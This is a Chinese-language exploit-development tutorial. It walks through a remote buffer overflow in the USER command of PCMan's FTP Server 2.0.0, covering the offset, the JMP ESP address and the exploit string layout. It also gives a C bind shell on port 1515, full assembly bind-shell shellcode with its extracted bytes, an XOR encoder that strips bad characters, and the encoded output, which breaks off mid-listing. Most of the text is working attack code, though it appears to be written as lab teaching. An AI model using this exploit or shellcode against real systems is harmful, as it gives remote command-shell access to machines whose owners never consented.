右击–>搜索–>所有模块–>命令

输入jmp esp

0x77188FF9,下上断点(用于验证)

验证jmp esp

ShellCode写入

将jmp esp 地址写入溢出点,二进制代码紧随其后

保存运行

BindShell

C代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <WinSock2.h>
#pragma comment(lib,"Ws2_32.lib")

int main()
{
// 1. 初始化SOCKET
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
// 2. 创建原始套接字
SOCKET stListen = INVALID_SOCKET;
stListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 3. 在任意地址绑定一个端口1515(INADDR_ANY)
SOCKADDR_IN stService;
stService.sin_addr.S_un.S_addr = INADDR_ANY;
stService.sin_port = htons(1515);
stService.sin_family = AF_INET;
bind(stListen, (LPSOCKADDR)&stService, sizeof(stService));
// 4. 监听连接
listen(stListen, SOMAXCONN);
// 5. 接受连接
stListen = accept(stListen, 0, 0);
// 6. 创建一个CMD进程,并将其输入与输出重定位到创建的套接字上
PROCESS_INFORMATION stPI = { 0 };
STARTUPINFOA stSI = { 0 };
stSI.cb = sizeof(stSI);
stSI.wShowWindow = SW_HIDE;
stSI.dwFlags = STARTF_USESTDHANDLES;
stSI.hStdInput = (HANDLE)stListen;
stSI.hStdOutput = (HANDLE)stListen;
stSI.hStdError = (HANDLE)stListen;
CreateProcessA(0, (LPSTR)"cmd.exe", 0, 0, TRUE, 0, 0, 0, &stSI, &stPI);
// 7. 关闭相关句柄,并释放相关资源
CloseHandle(stPI.hProcess);
CloseHandle(stPI.hThread);
closesocket(stListen);
WSACleanup();
return 0;
}

运行BindShell

编译通过后放置到win7虚拟机中运行

获取虚拟机IP:192.168.32.132(Win + R,输入CMD回车,输入ipconfig)

连接BindShell

进入主机(Win10环境)cmd,输入telnet ip 端口

结果

连接成功

可以测试一下,

exit 退出连接

PCManFTP 分析

PCMan’s FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。

PCMan’s FTP Server 2.0.0版本中存在缓冲区溢出漏洞。远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。

【具体分析验证/漏洞基础知识(例如新文件格式的简单介绍、信通讯标准的简单介绍等)……】

溢出测试

建立Socket连接

发送“USER XXXX”登陆请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <winsock2.h>
#pragma comment(lib,"Ws2_32.lib")
#include <ws2tcpip.h>
int main()
{
// 1. 初始化Winsock服务
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);//WSAStartup(MAKEWORD(2, 2), &stWSA);声明wscok版本号为2.2
// 2. 创建一个原始套接字
SOCKET stListen = INVALID_SOCKET;
stListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 3. 在任意地址(INADDR_ANY)上绑定一个端口21
SOCKADDR_IN stService;
inet_pton(AF_INET, "192.168.32.134", &stService.sin_addr);
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
char szRecv[0x100] = { 0 };
char* pCommand = (char*)"Hello 港哥";
// 5.1 接受欢迎语
recv(stListen, szRecv, sizeof(szRecv), 0);
// 5.2 发送登陆请求
send(stListen, pCommand, strlen(pCommand), 0);
recv(stListen, szRecv, sizeof(szRecv), 0);
// 6. 关闭相关句柄并释放相关资源
closesocket(stListen);
WSACleanup();
return 0;
}

构造字符串

Mona2是Corelan Team 团队开发的一个专门用于辅助漏洞挖掘的脚本插件

Mona原本只支持Immunity Debugger,但是由于Immunity Debugger与OllyDbg同根同源,而OllyDbg的更新已经明显乏力,因此Mona2推出了可以在Windbg上使用的版本

Mona可以帮助我们快速的定位溢出点,并且可以帮助我们查找一些用于溢出的特殊指令,以及构成复杂攻击代码的小部件

使用Mona2生成一段1000字节长度的测试代码,用于确定溢出点

1000不够长,重新生成4000个字符串后重试

定位溢出点

从以上信息可以得知 EIP被覆盖成0x43386f43

得到偏移2004

寻找JMP ESP

确认溢出点后需要找到目标程序空间的一个跳转指令“JMP ESP”

选择第一个0x7771f8f7

构造Exploit

构建一个长字符串发送登录请求(弹窗测试)

格式:”USER “+填充字节区+jmp esp跳板指令+NOP调用平栈+shellcode

1
2
3
4
5
6
7
char cExpolit[5000] = { 0x00 };           // Exploit容器
char cFill[5000] = { 0x00 }; // 填充字节
char cNOP[51] = { 0x00 }; // 滑板指令区
char cRetnAddr[5] = "\xf7\xf8\x71\x77"; // JMP ESP:0x7771f8f7
memset(cFill, 'A', 2003); // 由Mona得到的偏移
memset(cNOP, '\x90', 50); // 少填充1字节,如果变量cNOP后面不为0x00,也会被当成字符链接进来
sprintf_s(cExpolit, "%s%s%s%s%s", "USER ", cFill, cRetnAddr, cNOP, bShellcode);

ShellCode(弹窗源码与测试3一致)

构造BindShell

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
int main()
{
_asm
{
sub esp, 0x50;
push ebp;
mov ebp, esp;
sub esp, 0x10;
jmp tag_ShellCode; // 前置代码跳过数据区
//////////////////////////////////////////////////////////////////////////
// cmd.exe\0 25
_asm _emit(0x63) _asm _emit(0x6D) _asm _emit(0x64) _asm _emit(0x2E)
_asm _emit(0x65) _asm _emit(0x78) _asm _emit(0x65) _asm _emit(0x00)
// ws2_32.dll\0 1D
_asm _emit(0x77) _asm _emit(0x73) _asm _emit(0x32) _asm _emit(0x5F)
_asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2E) _asm _emit(0x64)
_asm _emit(0x6C) _asm _emit(0x6C) _asm _emit(0x00)
// kernel32.dll\0 12
_asm _emit(0x6B) _asm _emit(0x65) _asm _emit(0x72) _asm _emit(0x6E)
_asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x33) _asm _emit(0x32)
_asm _emit(0x2E) _asm _emit(0x64) _asm _emit(0x6C) _asm _emit(0x6C)
_asm _emit(0x00);
//////////////////////////////////////////////////////////////////////////
tag_ShellCode:
// 1. GetPC
call tag_Next;
tag_Next:
pop ebx; // 这里就得到了shellcode的地址
mov[ebp - 0x04], ebx; // EBP - 4 CodeBase;
// 2. 获取关键地址:kernel32.dll地址
mov esi, fs: [0x30] ; // PEB addr
mov esi, [esi + 0x0c]; // PEB_LDR_DATA
mov esi, [esi + 0x1c]; // 双向链表
mov esi, [esi]; // 取出下一个结构体地址
mov edx, [esi + 0x08]; // 获取Kernel32.dll地址
//mov[ ebp - 0x08 ], edx; // EBP - 8 KernelBaseAddr
// 3. 查找 LoadLibraryExA地址
push edx; // KernelBaseAddr
push 0xc0d83287; // 提前计算好的LoadLibraryExA字符的简易HASH
call fun_GetFunAddrByHash; // 通过比较HASH查找 关键函数
mov edi, eax;
// 4. 加载Kernel32.dll增加兼容性
lea esi, [ebx - 0x12]; // "Kernel32.dll"字符串地址
push 0; // dwFlag = 0
push 0; // hFile = 0
push esi; // lpLibFileName = "Kernel32.dll"
call edi; // LoadLibraryExA();
mov[ebp - 0x08], eax;
// 5. 加载WS2_32.dll以方便后边的网络通信编程
lea esi, [ebx - 0x1D]; // "ws2_32.dll"字符串地址
push 0; // dwFlag = 0
push 0; // hFile = 0
push esi; // lpLibFileName = "ws2_32.dll"
call edi; // LoadLibraryExA();
mov[ebp - 0x0c], eax;
// 6. 执行PayLoad部分
push[ebp - 0x0c]; // ws2_32.dll 地址
push[ebp - 0x08]; // Kernel32.dll addr
push[ebp - 0x04]; // CodeBase addr
call fun_PayLoad;
// 7. PayLoad 执行完毕结束程序,防止被调试分析
push[ebp - 0x08]; // KernelBase
push 0x4fd18963; // ExitProcess hash值
call fun_GetFunAddrByHash;
push 0; // ExitCode = 0;
call eax; // ExitProcess(0);
mov esp, ebp;
pop ebp;
//////////////////////////////////////////////////////////////////////////
fun_GetFunAddrByHash:
push ebp;
mov ebp, esp;
sub esp, 0x0c;
push edx;
// 1. 获取EAT,ENT,EOT地址:
mov ecx, [ebp + 0x0c]; // ecx,参数1是 IMAGEBASE/////////////////////////////////////////////////////

mov eax, [ecx + 0x3c]; // edx + 3c 是DOS头指向NT头的偏移
mov eax, [eax + ecx + 0x78]; // eax + edx 是NT头的地址 再 + 0x78 是数据目录表[0]的偏移

mov edi, [eax + ecx + 0x1c]; // EAT RVA
add edi, ecx;
mov[ebp - 0x04], edi; // EAT 保存到局部变量1中

mov edi, [eax + ecx + 0x20]; // ENT
add edi, ecx;
mov[ebp - 0x08], edi; // ENT 保存到局部变量2中

mov edi, [eax + ecx + 0x24]; // EOT
add edi, ecx;
mov[ebp - 0x0c], edi; // EOT 保存到局部变量3中

mov edi, [eax + ecx + 0x18]; // 导出表中 名称数量
//////////////////////////////////////////////////////////////////////////
// 2. 循环比较ENT中的函数名
xor ecx, ecx;
jmp tag_FirstCmp;
tag_CmpFunNameLoop:
inc ecx;
tag_FirstCmp:
mov esi, [ebp - 0x08]; // ENT addr
mov esi, [esi + ecx * 4]; // ENT RVA 当下一次比较时,指针 + 4
mov edx, [ebp + 0x0c]; // KernelBase
lea esi, [edx + esi]; // 获取到具体函数名的指针

push[ebp + 0x08]; // 参数2:要进行对比的摘要
push esi; // 函数名指针
call fun_Hash_CmpString; // ecx = "GetProcAddress"长度
//////////////////////////////////////////////////////////////////////////
cmp eax, 1; // 如果对比函数返回1则说明找到这个函数了
jne tag_CmpFunNameLoop; // 不相等继续进行比较
mov esi, [ebp - 0x0c]; // 取出EOT
xor edi, edi;
mov di, [esi + ecx * 2]; // di是序号,函数名在ENT表中的下标与序号表中的序号是对应的;要在EOT中找到这个ECX对应的地方
// *2 是每个序号为WORD型,占两个字节,要偏移ECX * 2个字节 才是需要的数据
// 这个数据 用于在EAT中作为下标查找对应的地址;
mov edx, [ebp - 0x04]; // 取出 EAT
mov esi, [edx + edi * 4]; // esi = 用序号在函数地址数组找到函数名对应函数地址

mov edx, [ebp + 0x0c]; // edx = param_1 IMAGE_BASE
// 返回获取到的关键函数地址
lea eax, [edx + esi]; // getprocaddress
pop edx;
mov esp, ebp;
pop ebp;
retn 0x08;
//////////////////////////////////////////////////////////////////////////

fun_Hash_CmpString:
push ebp;
mov ebp, esp;
sub esp, 0x04; // 开辟局部变量并清零
mov dword ptr[ebp - 0x04], 0x00;
push ebx; // 保存用到的寄存器
push ecx;
push edx;
mov esi, [ebp + 0x08]; // strFunName
xor ecx, ecx;
xor eax, eax;
tag_HashLoop:
mov al, [esi + ecx]; // 字符串的第ecx字符
test al, al; // 判断是否为0。
jz tag_HashEnd; // 为0结束循环
mov ebx, [ebp - 0x04]; // 得到hash1
shl ebx, 0x19; // hash1<< 25
mov edx, [ebp - 0x04]; // hash2>>7
shr edx, 0x07;
or ebx, edx; // hash1 + hash2
add ebx, eax; // 添加下一个字符的ASCII
mov[ebp - 0x04], ebx;
inc ecx; // ecx++
jmp tag_HashLoop;
tag_HashEnd:
mov ebx, [ebp + 0x0c]; // 这里得到 函数名摘要
mov edx, [ebp - 0x04]; // 要进行对比的摘要
xor eax, eax;
cmp ebx, edx; // 比较这两个摘要
jne tag_FunEnd; // 不相等就结束比较
mov eax, 1; // 相等返回1
tag_FunEnd:
pop edx;
pop ecx;
pop ebx;
mov esp, ebp;
pop ebp;
retn 0x08;
//////////////////////////////////////////////////////////////////////////
fun_PayLoad:
push ebp;
mov ebp, esp;
sub esp, 0x300;
// 1. 初始化winsock服务
push[ebp + 0x10]; // kernelBase
push 0x80b46a3d; // WSAStartup 摘要
call fun_GetFunAddrByHash;
lea esi, [ebp - 0x300]; // WSADATA
push esi; // LPWSAData = WSADATA
push 0x0202; // wVersionRequested = 2.2
call eax; // WSAStartup()
test eax, eax; // 函数返回结果 0 为执行成功
jnz tag_PayLoadEnd;
// 2. 创建一个原始套接字
push[ebp + 0x10]; // kernelbase
push 0xde78322d; // WSASocketA 摘要
call fun_GetFunAddrByHash;
push 0;
push 0;
push 0;
push 6; // protocol = IPPROTO_TCP
push 1; // type = sock_STREAM
push 2; // -af = AF_INET
call eax; // WSASocketA()
mov[ebp - 0x04], eax; // 得到的套接字给局部变量
// 3. 在任意地址上绑定一个端口1515;
push[ebp + 0x10]; // kernelBase
push 0xdda71064; // bind 摘要
call fun_GetFunAddrByHash;
mov word ptr[ebp - 0x200], 0x02; // sockaddr_in.sin_family = AF_INET
mov word ptr[ebp - 0x1fe], 0xeb05;// sockAddr_in.sin_port = 1515(0xEB05) htons(1515);
mov dword ptr[ebp - 0x1fc], 0; // sockaddr_in.sin_addr = inaddr_any
lea esi, [ebp - 0x200]; // esi = sockaddr_in
push 0x10; // 结构体长度
push esi; // 结构体:SOCKADDR_IN
push[ebp - 0x04]; // socket
call eax; // bind();
test eax, eax; // 绑定成功返回0
jnz tag_PayLoadEnd;
// 4. 监听端口的连接
push[ebp + 0x10];
push 0x4bd39f0c;
call fun_GetFunAddrByHash;
push 0x7fffffff; // backlong = SOMAXCONN
push[ebp - 0x04]; // socket
call eax; // listen()
cmp eax, 0;
//and eax, eax; // 成功返回0
jnz tag_PayLoadEnd;
// 5. 接受连接
push[ebp + 0x10];
push 0x01971eb1;
call fun_GetFunAddrByHash;
push 0; // 参数3:addrlen = null
push 0; // 参数2:addr = null
push[ebp - 0x04]; // 参数1:socket
call eax; // accept()
mov[ebp - 0x04], eax; // 返回结果到局部变量
// 6. 创建一个cmd进程
push[ebp + 0x0c]; // kernel32.dll base
push 0x6ba6bcc9;
call fun_GetFunAddrByHash;
mov edx, eax; // CreateProcess() 地址
lea edi, [ebp - 0x90]; // 清空STARTUPINFOA
mov ecx, 0x11; // STARTUPINFOA
mov eax, 0x00; // 从EBP - 0x90开始
cld; // 到ebp-0x48结束
rep stosd;
mov dword ptr[ebp - 0x90], 0x00000044; // cb = 68
mov dword ptr[ebp - 0x64], 0x00000100; // dwFlag = STARTF_USESTDHANDLES
mov word ptr[ebp - 0x60], 0x0000; // wShowWindow = SW_HIDE
mov esi, [ebp - 0x04]; // socket
mov dword ptr[ebp - 0x58], esi; // Input = socket
mov dword ptr[ebp - 0x54], esi; // Output = socket
mov dword ptr[ebp - 0x50], esi; // Error = socket
lea esi, [ebp - 0x90]; // STARTUPINFOA
lea edi, [ebp - 0x200]; // PROCESS_INFORMATION 结构体
mov ebx, [ebp + 0x08]; // CodeBase
lea ebx, [ebx - 0x25]; // "cmd.exe\0"
push edi;
push esi;
push 0;
push 0;
push 0;
push 1;
push 0;
push 0;
push ebx;
push 0;
call edx; // CreateProcessA()
tag_PayLoadEnd:
mov esp, ebp;
pop ebp;
retn 0x0c;
}
//////////////////////////////////////////////////////////////////////////
return 0;
}

提取二进制

1
"\x83\xEC\x50\x55\x8B\xEC\x83\xEC\x10\xEB\x20\x63\x6D\x64\x2E\x65\x78\x65\x00\x77\x73\x32\x5F\x33\x32\x2E\x64\x6C\x6C\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\xE8\x00\x00\x00\x00\x5B\x89\x5D\xFC\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x52\x68\x87\x32\xD8\xC0\xE8\x3E\x00\x00\x00\x8B\xF8\x8D\x73\xEE\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF8\x8D\x73\xE3\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF4\xFF\x75\xF4\xFF\x75\xF8\xFF\x75\xFC\xE8\xCD\x00\x00\x00\xFF\x75\xF8\x68\x63\x89\xD1\x4F\xE8\x07\x00\x00\x00\x6A\x00\xFF\xD0\x8B\xE5\x5D\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x4D\x0C\x8B\x41\x3C\x8B\x44\x08\x78\x8B\x7C\x08\x1C\x03\xF9\x89\x7D\xFC\x8B\x7C\x08\x20\x03\xF9\x89\x7D\xF8\x8B\x7C\x08\x24\x03\xF9\x89\x7D\xF4\x8B\x7C\x08\x18\x33\xC9\xEB\x01\x41\x8B\x75\xF8\x8B\x34\x8E\x8B\x55\x0C\x8D\x34\x32\xFF\x75\x08\x56\xE8\x21\x00\x00\x00\x83\xF8\x01\x75\xE5\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x4E\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x0C\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x04\xC7\x45\xFC\x00\x00\x00\x00\x53\x51\x52\x8B\x75\x08\x33\xC9\x33\xC0\x8A\x04\x0E\x84\xC0\x74\x16\x8B\x5D\xFC\xC1\xE3\x19\x8B\x55\xFC\xC1\xEA\x07\x0B\xDA\x03\xD8\x89\x5D\xFC\x41\xEB\xE3\x8B\x5D\x0C\x8B\x55\xFC\x33\xC0\x3B\xDA\x75\x05\xB8\x01\x00\x00\x00\x5A\x59\x5B\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x81\xEC\x00\x03\x00\x00\xFF\x75\x10\x68\x3D\x6A\xB4\x80\xE8\x31\xFF\xFF\xFF\x8D\xB5\x00\xFD\xFF\xFF\x56\x68\x02\x02\x00\x00\xFF\xD0\x85\xC0\x0F\x85\x00\x01\x00\x00\xFF\x75\x10\x68\x2D\x32\x78\xDE\xE8\x0E\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x89\x45\xFC\xFF\x75\x10\x68\x64\x10\xA7\xDD\xE8\xF0\xFE\xFF\xFF\x66\xC7\x85\x00\xFE\xFF\xFF\x02\x00\x66\xC7\x85\x02\xFE\xFF\xFF\x05\xEB\xC7\x85\x04\xFE\xFF\xFF\x00\x00\x00\x00\x8D\xB5\x00\xFE\xFF\xFF\x6A\x10\x56\xFF\x75\xFC\xFF\xD0\x85\xC0\x0F\x85\xA3\x00\x00\x00\xFF\x75\x10\x68\x0C\x9F\xD3\x4B\xE8\xB1\xFE\xFF\xFF\x68\xFF\xFF\xFF\x7F\xFF\x75\xFC\xFF\xD0\x83\xF8\x00\x0F\x85\x83\x00\x00\x00\xFF\x75\x10\x68\xB1\x1E\x97\x01\xE8\x91\xFE\xFF\xFF\x6A\x00\x6A\x00\xFF\x75\xFC\xFF\xD0\x89\x45\xFC\xFF\x75\x0C\x68\xC9\xBC\xA6\x6B\xE8\x78\xFE\xFF\xFF\x8B\xD0\x8D\xBD\x70\xFF\xFF\xFF\xB9\x11\x00\x00\x00\xB8\x00\x00\x00\x00\xFC\xF3\xAB\xC7\x85\x70\xFF\xFF\xFF\x44\x00\x00\x00\xC7\x45\x9C\x00\x01\x00\x00\x66\xC7\x45\xA0\x00\x00\x8B\x75\xFC\x89\x75\xA8\x89\x75\xAC\x89\x75\xB0\x8D\xB5\x70\xFF\xFF\xFF\x8D\xBD\x00\xFE\xFF\xFF\x8B\x5D\x08\x8D\x5B\xDB\x57\x56\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x53\x6A\x00\xFF\xD2\x8B\xE5\x5D\xC2\x0C\x00"

由于提取出来的二进制含有0,会产生截断,所以需要进行加密处理(转换成不含0,回车,换行)

加密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <Windows.h>
#include <stdio.h>


BOOL AutoEnCoder(char* pData, int nSize)
{
// 1. 尝试不同的KEY进行加密,直到加密后不出现 0x00;
int nOutKey = 0x00;
unsigned char* pBuffer = nullptr;
bool bComplete = true;
pBuffer = (unsigned char*)new char[nSize + 1];
for (int key = 0; key <= 0xFF; key++)
{
nOutKey = key;
bComplete = true;
for (int i = 0; i < nSize; i++)
{
pBuffer[i] = pData[i] ^ key;
if (0x00 == pBuffer[i] || 0x0A == pBuffer[i] || 0x0D == pBuffer[i] || 0x20 == pBuffer[i])
{
// 如果加密后的字节为0x00直接跳出循环,用下一个KEY进行加密
bComplete = false;
break;
}
}
if (bComplete)
{
// 如果到了这里依然都是不为0的结果,那么说明加密完成。跳出
break;
}
}
if (!bComplete)
{
// 全部找完还未加密完成直接不做接下来的操作
return false;
}
// 保存KEY和加密后的文本
FILE* fpOutFile;
if (EINVAL == fopen_s(&fpOutFile, "Encode.txt", "w+"))
{
// 增加健壮
return false;
}
// 输出'Encode Key = 0xXX'
fprintf(fpOutFile, "/* Encode Key = 0x%.2x */\n", nOutKey);
// 输出加密后的字符数组
fprintf(fpOutFile, "char ShellCode[] = \\\n");
for (int i = 0; i < nSize; i++)
{
fprintf(fpOutFile, "\\x%.2X", pBuffer[i]);
if ((i + 1) % 16 == 0)
{
fprintf(fpOutFile, "\"\\\n");
}
}
// 再输出一个 ";
fprintf(fpOutFile, "\";");
// 完成,关闭句柄,释放资源
fclose(fpOutFile);
delete[]pBuffer;
return true;
}
char cShellCode[] = "\x83\xEC\x50\x55\x8B\xEC\x83\xEC\x10\xEB\x20\x63\x6D\x64\x2E\x65\x78\x65\x00\x77\x73\x32\x5F\x33\x32\x2E\x64\x6C\x6C\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\xE8\x00\x00\x00\x00\x5B\x89\x5D\xFC\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x52\x68\x87\x32\xD8\xC0\xE8\x3E\x00\x00\x00\x8B\xF8\x8D\x73\xEE\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF8\x8D\x73\xE3\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF4\xFF\x75\xF4\xFF\x75\xF8\xFF\x75\xFC\xE8\xCD\x00\x00\x00\xFF\x75\xF8\x68\x63\x89\xD1\x4F\xE8\x07\x00\x00\x00\x6A\x00\xFF\xD0\x8B\xE5\x5D\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x4D\x0C\x8B\x41\x3C\x8B\x44\x08\x78\x8B\x7C\x08\x1C\x03\xF9\x89\x7D\xFC\x8B\x7C\x08\x20\x03\xF9\x89\x7D\xF8\x8B\x7C\x08\x24\x03\xF9\x89\x7D\xF4\x8B\x7C\x08\x18\x33\xC9\xEB\x01\x41\x8B\x75\xF8\x8B\x34\x8E\x8B\x55\x0C\x8D\x34\x32\xFF\x75\x08\x56\xE8\x21\x00\x00\x00\x83\xF8\x01\x75\xE5\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x4E\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x0C\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x04\xC7\x45\xFC\x00\x00\x00\x00\x53\x51\x52\x8B\x75\x08\x33\xC9\x33\xC0\x8A\x04\x0E\x84\xC0\x74\x16\x8B\x5D\xFC\xC1\xE3\x19\x8B\x55\xFC\xC1\xEA\x07\x0B\xDA\x03\xD8\x89\x5D\xFC\x41\xEB\xE3\x8B\x5D\x0C\x8B\x55\xFC\x33\xC0\x3B\xDA\x75\x05\xB8\x01\x00\x00\x00\x5A\x59\x5B\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x81\xEC\x00\x03\x00\x00\xFF\x75\x10\x68\x3D\x6A\xB4\x80\xE8\x31\xFF\xFF\xFF\x8D\xB5\x00\xFD\xFF\xFF\x56\x68\x02\x02\x00\x00\xFF\xD0\x85\xC0\x0F\x85\x00\x01\x00\x00\xFF\x75\x10\x68\x2D\x32\x78\xDE\xE8\x0E\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x89\x45\xFC\xFF\x75\x10\x68\x64\x10\xA7\xDD\xE8\xF0\xFE\xFF\xFF\x66\xC7\x85\x00\xFE\xFF\xFF\x02\x00\x66\xC7\x85\x02\xFE\xFF\xFF\x05\xEB\xC7\x85\x04\xFE\xFF\xFF\x00\x00\x00\x00\x8D\xB5\x00\xFE\xFF\xFF\x6A\x10\x56\xFF\x75\xFC\xFF\xD0\x85\xC0\x0F\x85\xA3\x00\x00\x00\xFF\x75\x10\x68\x0C\x9F\xD3\x4B\xE8\xB1\xFE\xFF\xFF\x68\xFF\xFF\xFF\x7F\xFF\x75\xFC\xFF\xD0\x83\xF8\x00\x0F\x85\x83\x00\x00\x00\xFF\x75\x10\x68\xB1\x1E\x97\x01\xE8\x91\xFE\xFF\xFF\x6A\x00\x6A\x00\xFF\x75\xFC\xFF\xD0\x89\x45\xFC\xFF\x75\x0C\x68\xC9\xBC\xA6\x6B\xE8\x78\xFE\xFF\xFF\x8B\xD0\x8D\xBD\x70\xFF\xFF\xFF\xB9\x11\x00\x00\x00\xB8\x00\x00\x00\x00\xFC\xF3\xAB\xC7\x85\x70\xFF\xFF\xFF\x44\x00\x00\x00\xC7\x45\x9C\x00\x01\x00\x00\x66\xC7\x45\xA0\x00\x00\x8B\x75\xFC\x89\x75\xA8\x89\x75\xAC\x89\x75\xB0\x8D\xB5\x70\xFF\xFF\xFF\x8D\xBD\x00\xFE\xFF\xFF\x8B\x5D\x08\x8D\x5B\xDB\x57\x56\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x53\x6A\x00\xFF\xD2\x8B\xE5\x5D\xC2\x0C\x00\x33\xC0\x5F\x5E\x5B\x5D\xC3";
//char cShellCode[] = "\x60\x83\xEC\x50\xEB\x4D\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x48\x75\x47\x61\x6E\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x14\x00\x00\x00\x8B\xF0\x8D\x4B\xBD\x52\x51\x52\xFF\xD6\x5A\x53\x56\x50\x52\xE8\x6D\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x4D\x08\x8B\x41\x3C\x8B\x44\x08\x78\x8B\x7C\x08\x1C\x03\xF9\x89\x7D\xFC\x8B\x7C\x08\x20\x03\xF9\x89\x7D\xF8\x8B\x7C\x08\x24\x03\xF9\x89\x7D\xF4\x8B\x7C\x08\x18\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAE\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCC\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD7\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE3\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEF\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2\x10\x00";

int main()
{
AutoEnCoder(cShellCode, sizeof(cShellCode));
return 0;
}

生成的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/* Encode Key = 0x17 */
char ShellCode[] = \
\x94\xFB\x47\x42\x9C\xFB\x94\xFB\x07\xFC\x37\x74\x7A\x73\x39\x72"\
\x6F\x72\x17\x60\x64\x25\x48\x24\x25\x39\x73\x7B\x7B\x17\x7C\x72"\
\x65\x79\x72\x7B\x24\x25\x39\x73\x7B\x7B\x17\xFF\x17\x17\x17\x17"\
\x4C\x9E\x4A\xEB\x73\x9C\x22\x27\x17\x17\x17\x9C\x61\x1B\x9C\x61"\
\x0B\x9C\x21\x9C\x41\x1F\x45\x7F\x90\x25\xCF\xD7\xFF\x29\x17\x17"\
\x17\x9C\xEF\x9A\x64\xF9\x7D\x17\x7D\x17\x41\xE8\xC0\x9E\x52\xEF"\
